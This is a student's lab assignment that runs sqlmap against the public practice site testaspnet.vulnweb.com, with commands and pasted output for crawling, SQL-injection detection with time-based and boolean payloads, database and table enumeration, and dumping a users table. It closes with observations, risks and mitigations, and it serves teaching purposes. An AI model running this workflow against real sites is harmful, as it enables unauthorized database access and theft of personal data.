**Name : Shaik M.Bilaldeen**

**College : Annamacharya Institute of Technology and Sciences, Tirupati**

**Branch : E.C.E**

**ASSIGNMENT 2**

**Commands , It’s uses and their responses :**

* ***sudo su* :** to gain root privileges.

**Response :** prompt to enter the user password to gain the root privileges.

* ***Sudo apt-get update :*** to update the kali-linux.

**Response :** Reading package lists... Done

* ***sudo apt-get upgrade* :** to upgrade the packages within the kali-linux.

**Response :** Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

Calculating upgrade... Done

0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

* ***sudo apt-get install sqlmap* :** to install the sqlmap python based in kali-linux.

**Response :** Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

sqlmap is already the newest version (1.7.11-1).

0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

* ***sqlmap -u http://testaspnet.vulnweb.com/* :** to perform sqlmap on the given web address.

**Response :** [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[\*] starting @ 04:37:41 /2024-02-25/

**[04:38:09] [CRITICAL] host 'testaspnet.vulnweb.com' does not exist**

[\*] ending @ 04:38:09 /2024-02-25/

* ***sqlmap -u http://testaspnet.vulnweb.com/ --crawl 2 :*** to identify the vulnerabilities in the given web address, here ***--crawl***is used to find the possible vulnerabilities in the web given and the integers like ***2,3*** are the level that it should be go to find the vulnerable. Each stage is asks the user to confirm the action by entering y for yes, n for no, and q for quit sometimes.
* ***sqlmap -u http://testaspnet.vulnweb.com/ --crawl 2 --batch* :** to identify the vulnerabilities in the given web address and automatically injects the sql injections and makes the website exploited, here the command ***–batch***is used to avoid the time consumption for confirming the each actions by entering ***y, n, q.*** It goes for default actions used to detect and exploit the vulnerabilities.

**Response :** [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[\*] starting @ 02:09:04 /2024-02-25/

**do you want to check for the existence of site's sitemap(.xml) [y/N] N**

[02:09:04] [INFO] starting crawler for target URL 'http://testaspnet.vulnweb.com/'

[02:09:04] [INFO] searching for links with depth 1

[02:09:05] [INFO] searching for links with depth 2

**please enter number of threads? [Enter for 1 (current)] 1**

[02:09:05] [WARNING] running in a single-thread mode. This could take a while

**do you want to normalize crawling results [Y/n] Y**

**do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] N**

[02:09:13] [INFO] found a total of 3 targets

[1/3] URL:

GET http://testaspnet.vulnweb.com/Comments.aspx?id=0

**do you want to test this URL? [Y/n/q] Y**

[02:09:13] [INFO] testing URL 'http://testaspnet.vulnweb.com/Comments.aspx?id=0'

[02:09:13] [INFO] resuming back-end DBMS 'microsoft sql server'

[02:09:13] [INFO] using '/root/.local/share/sqlmap/output/results-02252024\_0209am.csv' as the CSV results file in multiple targets mode

[02:09:13] [INFO] testing connection to the target URL

**you have not declared cookie(s), while server wants to set its own ('ASP.NET\_SessionId=hojxc12cvgv...451laknj3o'). Do you want to use those [Y/n] Y**

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=0 AND 8466=8466

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: id=0;WAITFOR DELAY '0:0:5'--

Type: time-based blind

Title: Microsoft SQL Server/Sybase time-based blind (IF)

Payload: id=0 WAITFOR DELAY '0:0:5'

---

**do you want to exploit this SQL injection? [Y/n] Y**

[02:09:14] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 8.1 or 2012 R2

web application technology: Microsoft IIS 8.5, ASP.NET 2.0.50727, ASP.NET

back-end DBMS: Microsoft SQL Server 2014

**SQL injection vulnerability has already been detected against 'testaspnet.vulnweb.com'. Do you want to skip further tests involving it? [Y/n] Y**

[02:09:14] [INFO] skipping 'http://testaspnet.vulnweb.com/ReadNews.aspx?id=0&NewsAd=ads/def.html'

[02:09:14] [INFO] skipping 'http://testaspnet.vulnweb.com/ReadNews.aspx?id=0'

[02:09:14] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-02252024\_0209am.csv'

[\*] ending @ 02:09:14 /2024-02-25/

* ***cat '/root/.local/share/sqlmap/output/results-02252024\_0209am.csv'* :** displays the exploited vulnerable’s directory locations in order to access them.

**Response :** Target URL,Place,Parameter,Technique(s),Note(s)

[***http://testaspnet.vulnweb.com/Comments.aspx?id=0***,GET,id,BST](http://testaspnet.vulnweb.com/Comments.aspx?id=0,GET,id,BST),

* ***sqlmap -u http://testaspnet.vulnweb.com/Comments.aspx?id=0 --current-user --current-db -- hostname –batch* :** it performs the sqlmap for the exploited vulnerable accessed from the above command in order to gain the information about the current user by using command **–current-user,** current database by using the command ***–current-db,*** and the hostname of the web by using the command *--****hostname.*** The ***–batch*** command is used to avoid the confirmation by accepting default actions.

**Response :** [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[\*] starting @ 02:16:09 /2024-02-25/

[02:16:10] [INFO] resuming back-end DBMS 'microsoft sql server'

[02:16:10] [INFO] testing connection to the target URL

**you have not declared cookie(s), while server wants to set its own ('ASP.NET\_SessionId=3iuxe1evwtd...ecx4cwh555'). Do you want to use those [Y/n] Y**

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=0 AND 8466=8466

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: id=0;WAITFOR DELAY '0:0:5'--

Type: time-based blind

Title: Microsoft SQL Server/Sybase time-based blind (IF)

Payload: id=0 WAITFOR DELAY '0:0:5'

---

[02:16:11] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 8.1 or 2012 R2

web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 8.5

back-end DBMS: Microsoft SQL Server 2014

[02:16:11] [INFO] fetching current user

[02:16:11] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[02:16:11] [INFO] retrieved:

[02:16:11] [WARNING] reflective value(s) found and filtering out

acunetix

***current user: 'acunetix'***

[02:16:38] [INFO] fetching current database

[02:16:38] [INFO] retrieved: acublog

***current database: 'acublog'***

[02:17:02] [INFO] fetching server hostname

[02:17:02] [INFO] retrieved: WIN-4F36OVNA5B1\SQL

***hostname: 'WIN-4F36OVNA5B1\SQL'***

[02:18:14] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testaspnet.vulnweb.com'

[\*] ending @ 02:18:14 /2024-02-25/

* ***sqlmap -u http://testaspnet.vulnweb.com/Comments.aspx?id=0 –dbs* :** to identify the type of, number of, and kind databases that the vulnerability has and where to perform sql injection. The ***–dbs*** command is used to gather information about the databases.

**Response :** [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting @ 02:19:25 /2024-02-25/

[02:19:25] [INFO] resuming back-end DBMS ***'microsoft sql server'***

[02:19:25] [INFO] testing connection to the target URL

**you have not declared cookie(s), while server wants to set its own ('ASP.NET\_SessionId=4qg35555hkh...efkdeprz45'). Do you want to use those [Y/n] y**

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=0 AND 8466=8466

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: id=0;WAITFOR DELAY '0:0:5'--

Type: time-based blind

Title: Microsoft SQL Server/Sybase time-based blind (IF)

Payload: id=0 WAITFOR DELAY '0:0:5'

---

[02:19:33] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 8.1 or 2012 R2

web application technology: Microsoft IIS 8.5, ASP.NET, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2014

[02:19:33] [INFO] fetching database names

[02:19:33] [INFO] fetching number of databases

[02:19:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[02:19:33] [INFO] retrieved:

[02:19:34] [WARNING] reflective value(s) found and filtering out

***7***

[02:19:37] [INFO] retrieved: ***acuforum***

[02:20:04] [INFO] retrieved: ***acuservice***

[02:20:38] [INFO] retrieved: ***master***

[02:20:59] [INFO] retrieved: ***model***

[02:21:17] [INFO] retrieved: ***msdb***

[02:21:32] [INFO] retrieved: ***tempdb***

[02:21:53] [INFO] retrieved:

[02:21:54] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)

[02:22:11] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

[02:22:12] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'

***available databases [6]:***

*[\*]* ***[master]***

*[\*]* ***acuforum***

*[\*]* ***acuservice***

*[\*]* ***model***

*[\*]* ***msdb***

*[\*]* ***tempdb***

[02:22:12] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testaspnet.vulnweb.com'

[\*] ending @ 02:22:12 /2024-02-25/

* ***sqlmap -u http://testaspnet.vulnweb.com/Comments.aspx?id=0 -D acuforum –tables* :** to display the contents in the database selected in the form of tables by using the command ***-D acuforum –tables***

**Response :** [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting @ 02:24:37 /2024-02-25/

[02:24:37] [INFO] resuming back-end DBMS 'microsoft sql server'

[02:24:38] [INFO] testing connection to the target URL

**you have not declared cookie(s), while server wants to set its own ('ASP.NET\_SessionId=l34ppjaaeay...uytuliu155'). Do you want to use those [Y/n] y**

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=0 AND 8466=8466

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: id=0;WAITFOR DELAY '0:0:5'--

Type: time-based blind

Title: Microsoft SQL Server/Sybase time-based blind (IF)

Payload: id=0 WAITFOR DELAY '0:0:5'

---

[02:24:49] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 8.1 or 2012 R2

web application technology: Microsoft IIS 8.5, ASP.NET 2.0.50727, ASP.NET

back-end DBMS: Microsoft SQL Server 2014

**[02:24:49] [INFO] fetching tables for database: acuforum**

**[02:24:49] [INFO] fetching number of tables for database 'acuforum'**

[02:24:49] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[02:24:49] [INFO] retrieved:

[02:24:49] [WARNING] reflective value(s) found and filtering out

***4***

[02:24:52] [INFO] retrieved: ***dbo.forums***

[02:25:29] [INFO] retrieved: ***dbo.posts***

[02:25:51] [INFO] retrieved: ***dbo.threads***

[02:26:20] [INFO] retrieved: ***dbo.users***

***Database: acuforum***

***[4 tables]***

***+------------+***

***| forums |***

***| posts |***

***| threads |***

***| users |***

***+------------+***

[02:26:42] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testaspnet.vulnweb.com'

[\*] ending @ 02:26:42 /2024-02-25/

* ***sqlmap -u http://testaspnet.vulnweb.com/Comments.aspx?id=0 -D acuforum -T users dump –batch* :** to access the user’s PII by performing SQL Injectionby defining the database by using the command ***-D acuforum*** and the directory by using command **-*T users*** that has to be injected by using the command ***dump*** and to avoid all the confirmations by using the command ***–batch*** as earlier we seen

**Response :** [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting @ 02:27:52 /2024-02-25/

[02:27:52] [INFO] resuming back-end DBMS ***'microsoft sql server'***

[02:27:52] [INFO] testing connection to the target URL

**you have not declared cookie(s), while server wants to set its own ('ASP.NET\_SessionId=haz5ga45alq...45p12yni45'). Do you want to use those [Y/n] Y**

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=0 AND 8466=8466

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: id=0;WAITFOR DELAY '0:0:5'--

Type: time-based blind

Title: Microsoft SQL Server/Sybase time-based blind (IF)

Payload: id=0 WAITFOR DELAY '0:0:5'

---

[02:27:53] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 8.1 or 2012 R2

web application technology: ASP.NET 2.0.50727, Microsoft IIS 8.5, ASP.NET

back-end DBMS: Microsoft SQL Server 2014

[02:27:53] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testaspnet.vulnweb.com'

[\*] ending @ 02:27:53 /2024-02-25/

***\*\*It goes for password cracking through dictionary method if it has any protection for the data present in the directory, else if there is no any directory present it will come back to the root and stores the result in the give location path of the destination file.\*\****

**HYPOTHESIS:**

testaspnet.vulnweb.com is the vulnerability website used here to demonstrate the sql-injection using sqlmap in kali-linux, there are so many observations I have made during this assignment those are

* It is illegal to perform sqlmap/sql-injections on the websites without the mutual consent and it leads to legal actions from the government.
* There are multiple number of vulnerability websites in the open-source but we can’t perform sql map/injections for all of them.
* We have to use other some different kind of approach to perform on them also like using the help of Burp-suite and sqlmap together.
* Initially the **sqlmap -u <protocol://website.com/>** leads to unable to find the website.
* But using **–crawl <integer>** we can able to find the vulnerabilities in that website and the particular place if it exists, the integer may be 2 or 3 according to the situation.
* After the detection of the vulnerability it goes for the checking of the usable links by which the sql injections can be exploited, it scans one by one in a sequential manner also it goes directly to the next link without the disturbing the sequence if any connection error occurs.
* If the operation successfully fetched the link that has the scope to exploit the sql injections it asks for the confirmation and then goes for the analyzation of the database it uses.
* Like what type of databases, how many number of databases, etc.
* From that we can able to select the specific database in which we want to exploit the sql injection in order to get access over the database and able to read , write and execute by using the appropriate commands and tools.
* We can able to get access to the information in the database if anything present in it.
* There are still number of commands I don’t know to perform the sqlmap in kali-linux but somehow I am now familiar with doing this basics.
* Also, I was got idea about some commands like **–level=<integer>, --risk=<integer>, --random-agent, --proxy,** and **--ignore-code=<integer>** etc.
* During the process of sql map/injection the background process all type and kind of databases that are working in the backend like MySQL, MS SQL, Postgre SQL etc.
* It gives the overall web information at the point of process about the website being using.

**RISKS:**

* Leaving vulnerabilities in a website leads to data exposure or hacking easily by using specific tools.
* The integrity and confidentiality of the data will be lost.
* It will leads to loss of business upto a great extent

**MITIGATE THE RISK**

* The security professionals has to analyze the integrity of the flow of the information through the network of the webapps or websites etc.
* To take the preventive measures to avoid these type of attacks initially.
* Information and strategies to mitigate the vulnerabilities have to be communicated with the security engineers in order to make changes in the source code in which all the websites are working.
* And by using protected networks.